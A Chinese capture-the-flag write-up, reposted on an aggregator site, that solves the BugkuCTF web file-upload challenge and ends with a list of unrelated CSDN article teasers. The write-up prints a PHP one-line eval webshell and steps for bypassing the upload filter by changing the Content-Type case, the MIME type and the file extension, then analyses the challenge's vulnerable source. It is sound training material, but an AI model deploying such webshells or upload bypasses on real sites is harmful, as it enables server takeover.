BugkuCTF-WEB题文件上传

启动场景
发现是文件上传
在这里插入图片描述
只能上传图像,不能上传PHP文件,那应该是寻找漏洞上传PHP文件
PHP文件里写入一句话木马

<?php @eval($_POST[caidao]);?>

使用burp抓包,不断尝试发现发现需要修改的地方有三个:
一个是http head里的Content-Type: multipart/form-data;
请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data (其t为大写)
Multipart里的部分字母改成大写的。

第二个是文件的的Content-Type: application/octet-stream,改成image/jpeg

第三个是文件后缀名改成php4
(依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写))分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php4没有被过滤
在这里插入图片描述
之后上传成功
在这里插入图片描述
关闭代理,浏览器显示文件路径
在这里插入图片描述
以菜刀连接:
在这里插入图片描述
在这里插入图片描述
进入服务器后台,在根目录发现flag
在这里插入图片描述
打开flag
得到flag

后来有大佬教了我做事,说都上了马了自己不会扒来看嘛,哇我真的是蠢,这都没想到,直接血的教训记了下来,并扒了源码分析:
参考源码.php文件

<html>
<body>
<?php 
$flag = "flag{test}"
?>
<form action="index.php" method="post" enctype="multipart/form-data">
My name is margin,give me a image file not a php<br>
<br>
<input type="file" name="file" id="file" /> 
<input type="submit" name="submit" value="Submit" />
</form>
<?php
function global_filter(){$type =  $_SERVER["CONTENT_TYPE"];//$_SERVER是一个服务器端的变量数组,提供许多关于服务器及客户端请求的变量值,像客户端浏览器类型、IP地址等if (strpos($type,"multipart/form-data") !== False){//strpos() 函数查找字符串在另一字符串里第一次出现的位置。strpos() 函数对大小写敏感。$file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);//strrpos()查找字符串在另一字符串最后一次出现位置$file_ext = strtolower($file_ext); //strtolower() 函数把字符串转换为小写。if (stripos($file_ext,"php") !== False){American("Invalid File<br />");}}
}
//这里判断multipart/form-data用了strpos,该函数区分大小写,所以用Multipart/form-data的理由找到了,这样就能绕过里面的if
?><?phpglobal_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){if ($_FILES["file"]["error"] == 0){$file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);$file_ext = strtolower($file_ext);$allowexts = array('jpg','gif','jpeg','bmp','php4'); //array()  创建数组if(!in_array($file_ext,$allowexts)){American("give me a image file not a php");}//这里定了个白名单,只漏了个php4出来,只能用php4的原因也找到了$_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext; //rand() 函数返回随机整数。//date() 函数格式操作本地日期和时间,并返回已格式操作的日期字符串。if (file_exists("upload/" . $_FILES["file"]["name"])){ //file_exists() 函数检查文件或目录是否存在。echo $_FILES["file"]["name"] . " already exists. <br />";}else{if (!file_exists('./upload/')){mkdir ("./upload/");system("chmod 777 /var/www/html/upload"); //system — 执行外部程序,并且显示输出}move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);//move_uploaded_file — 将上传的文件移动到新位置echo "Upload Success<br>";$filepath = "upload/" . $_FILES["file"]["name"];echo "Stored in: " ."< a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";}}
}
else{if($_FILES["file"]["size"] > 0){echo "You was catched! :) <br />";}
}
?>
</body>
</html><?php
/*
$_SERVER是一个服务器端的变量数组,提供许多关于服务器及客户端请求的变量值,像客户端浏览器类型、IP地址等
通过 print_r($_SERVER)可以输出其里包含了那些内容strpos() 函数查找字符串在另一字符串里第一次出现的位置。strpos() 函数对大小写敏感。
strrpos() - 查找字符串在另一字符串里最后一次出现的位置(区分大小写)
例如:echo strrpos("You love php, I love php too!","php"); 结果返回21$_FILES -- $HTTP_POST_FILES [已弃用]HTTP 文件上传变量
PHP $_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组。
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。 
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本里增加的。下面是它的说明:(它们在PHP3.0以后成了常量) 
UPLOAD_ERR_OK 
值:0; 没有错误发生,文件上传成功。 strtolower() 函数把字符串转换为小写。date() 函数格式操作本地日期和时间,并返回已格式操作的日期字符串。rand() 函数返回随机整数。file_exists() 函数检查文件或目录是否存在。
如果指定的文件或目录存在则返回 true,否则返回 false。system — 执行外部程序,并且显示输出move_uploaded_file — 将上传的文件移动到新位置
*/
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/524923.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言 野指针 - C语言零基础入门教程

目录 一.简介二.野指针产生的原因 1.指针变量未初始化2.指针释放后之后未置空 三.避免野指针产生 1.初始化时置 NULL2.释放时置 NULL 四.猜你喜欢 零基础 C/C 学习路线推荐 : C/C 学习目录 >> C 语言基础入门 一.简介 野指针就是指针指向的位置是不可知的&#xff08;随…

阿里云获ITSS最高等级认证:公共云、专有云服务能力双一级

近日&#xff0c;阿里云在由ITSS&#xff08;中国电子工业标准化技术协会信息技术服务分会&#xff09;颁发的云计算服务能力标准评选中获公共云、专有云双一级资质&#xff0c;这也是该标准评选中的最高等级。 云计算服务能力评估由工信部信软司牵头&#xff0c;委托ITSS围绕…

要闻君说:IBM最新量子计算机真真像个艺术品!鹅厂正式成立了自己的技术委员会哇!联想竟然也试着做了一款智能闹钟?...

关注并标星星CSDN云计算每周三次&#xff0c;打卡即read更快、更全了解泛云圈精彩newsgo go go 嗨&#xff0c;大家好&#xff01;盼望着、盼望着&#xff0c;周五已到&#xff01;今天又有什么新鲜事儿呢&#xff1f;依旧抢先听个歌曲陶冶下&#xff0c;再容头条君慢慢道来&am…

Spring中的9种设计模式汇总

戳蓝字“CSDN云计算”关注我们哦&#xff01;文章来自&#xff1a;Java和Android架构1. 简单工厂又叫做静态工厂方法&#xff08;StaticFactory Method&#xff09;模式&#xff0c;但不属于23种GOF设计模式之一。简单工厂模式的实质是由一个工厂类根据传入的参数&#xff0c;动…

云漫圈 | 什么是微服务?

戳蓝字“CSDN云计算”关注我们哦&#xff01;作者&#xff1a;小灰来源&#xff1a;程序员小灰单体架构的痛点缺点一&#xff1a;项目过于臃肿当大大小小的功能模块都集中在同一项目的时候&#xff0c;整个项目必然会变得臃肿&#xff0c;让开发者难以维护。缺点二&#xff1a;…

五分钟解读“大数据”

戳蓝字“CSDN云计算”关注我们哦&#xff01;文章来自&#xff1a;鲜枣课堂作者&#xff1a;小枣君大家好&#xff0c;我是小枣君。2019年的第一篇文章&#xff0c;我们来聊聊大数据。这些年&#xff0c;大数据作为一个时髦概念&#xff0c;出现频率很高&#xff0c;关注度也很…

数据版吐槽大会: 国产综艺节目年终盘点

戳蓝字“CSDN云计算”关注我们哦&#xff01;作者介绍&#xff1a;徐麟&#xff0c;目前就职于互联网公司数据部&#xff0c;哥大统计数据狗&#xff0c;从事数据挖掘&分析工作&#xff0c;喜欢用R&Python玩一些不一样的数据个人公众号&#xff1a;数据森麟&#xff08…

2018全球50大最佳发明名单

戳蓝字“CSDN云计算”关注我们哦&#xff01;来自&#xff1a;全国3D大赛提起发明创造&#xff0c;你会想到什么&#xff1f;每年《时代周刊》都会评选年度最佳发明&#xff0c;它们让世界变得更美好&#xff0c;更智能&#xff0c;或更有趣。Time 从世界各地征集了各类别的提名…

虚拟化精华问答 | 什么是虚拟化?

戳蓝字“CSDN云计算”关注我们哦&#xff01;虚拟化是云计算的基础&#xff0c;基于虚拟化我们可以实现私有云、公有云、桌面云等。它的主要目的是对IT基础设施进行简化&#xff0c;简化对资源以及对资源管理的访问。那么今天就让我们一起就来探究云计算关键技术「虚拟化技术」…

要闻君说:难道金山云与京东云真的要合并了吗?中国联通获准发行不超过500亿元公司债券,都用于5G 商用?用AI技术精准来找室友?...

关注并标星星CSDN云计算每周三次&#xff0c;打卡即read更快、更全了解泛云圈精彩newsgo go go 嗨&#xff0c;大家好&#xff01;偶是要闻君。愉快的周一从“听歌看新闻”开始啦&#xff01;文/要闻君图片来源网络近日&#xff0c;阿里巴巴宣布推出“A100”战略合作伙伴计划&a…

对不起,我就是喜欢问你Spring构造器注入原理

戳蓝字“CSDN云计算”关注我们哦&#xff01;文章来自&#xff1a;Java和Android架构作者&#xff1a;Static_lin原文&#xff1a;https://blog.csdn.net/qq_41737716/article/details/85596817前言Spring IOC是面试常问的知识点。本文讲述了从自定义注册Bean开始&#xff0c;到…

华为云发布新slogan,新年伊始加速奔跑

人工智能作为下一轮科技革命的关键元素&#xff0c;正在进入越来越多的行业&#xff0c;用AI的技术和理念去解决现在和未来的问题&#xff0c;将是企业构建竞争力的关键。 人工智能时代&#xff0c;最有技术和值得信赖的云 1月11日&#xff0c;“华为云普惠AI”年度峰会在北京…

云头条 |华为云发布全新Slogan;AWS推出DocumentDB;FRB信号刷屏

戳蓝字“CSDN云计算”关注我们哦&#xff01;嗨&#xff0c;大家好&#xff0c;头条君带来的【云头条】特别栏目&#xff0c;如期而至&#xff0c;每周二第一时间为大家带来头条新闻。把握技术风向标&#xff0c;了解行业应用与实践&#xff0c;就交给我头条君吧&#xff01;头…

一篇文章带你快速理解微服务架构,由浅入深带你走进微服务架构的核心

戳蓝字“CSDN云计算”关注我们哦&#xff01;文章来自&#xff1a;Java和Android架构什么是微服务首先微服务并没有一个官方的定义&#xff0c;想要直接描述微服务比较困难&#xff0c;我们可以通过对比传统WEB应用&#xff0c;来理解什么是微服务。传统的WEB应用核心分为业务逻…

云存储精华问答 | 云计算和云存储是什么关系?

戳蓝字“CSDN云计算”关注我们哦&#xff01;早在2006年谷歌推出的“Google101计划”时&#xff0c;“云”的概念及理论被正式提出&#xff0c;随后亚马逊、微软、IBM等公司宣布了各自的“云计划”&#xff0c;云存储、云安全等相关的云概念相继诞生。今天&#xff0c;我们就一…

边缘计算精华问答 | 为什么需要边缘计算?

戳蓝字“CSDN云计算”关注我们哦&#xff01;云计算就像是天上的云&#xff0c;看得见摸不着&#xff0c;像章鱼的大脑&#xff0c;边缘计算就类似于八爪鱼的那些小爪子&#xff0c;一个爪子就是一个小型的机房&#xff0c;靠近具体的实物。那么&#xff0c;云计算的下一个爆点…

8 年后重登王座,Python 再度成为 TIOBE 年度编程语言

戳蓝字“CSDN云计算”关注我们哦&#xff01;文章来自&#xff1a;开源中国社区全球知名的编程语言流行度排行榜网站 TIOBE 于近日宣布&#xff1a;Python 成为 2018 年度编程语言&#xff0c;理由如下&#xff1a;2018 年&#xff0c;Python 语言上升了 3.62&#xff05; &…

要闻君说:Intel要“起底”新任CEO了?微软停止支持Win 7?OPPO加入WPC无线充电联盟,15W无线闪充技术呼之欲出!...

关注并标星星CSDN云计算每周三次&#xff0c;打卡即read更快、更全了解泛云圈精彩newsgo go go 嗨&#xff0c;大家好&#xff01;偶是要闻君。咱们还是闲话少叙&#xff0c;边听边看近日有啥大新闻鸭&#xff01;文/要闻君图片来源网络空缺半年多&#xff0c;Intel或在10天内任…

Ubuntu上安装Hadoop集群

戳蓝字“CSDN云计算”关注我们哦&#xff01;前面我们介绍了在Ubuntu上安装Hadoop单机版。但是我们知道&#xff0c;Hadoop在实际工作中都是以集群的形式存在的&#xff0c;毕竟需要处理大量的数据&#xff0c;单机的处理速度显然不能满足。所以这篇文章我们就来介绍一下如何在…

Gartner的预言:通向混合IT之旅

戳蓝字“CSDN云计算”关注我们哦&#xff01;“企业上云之旅是一个非常复杂的旅程&#xff0c;因为它不仅仅只是对基础设施的升级&#xff0c;还是对应用的整个生命周期管理的升级和业务交付模式的升级。”Gartner高级研究总监季新苏在近日举行的媒体见面会上表示。“这个旅程不…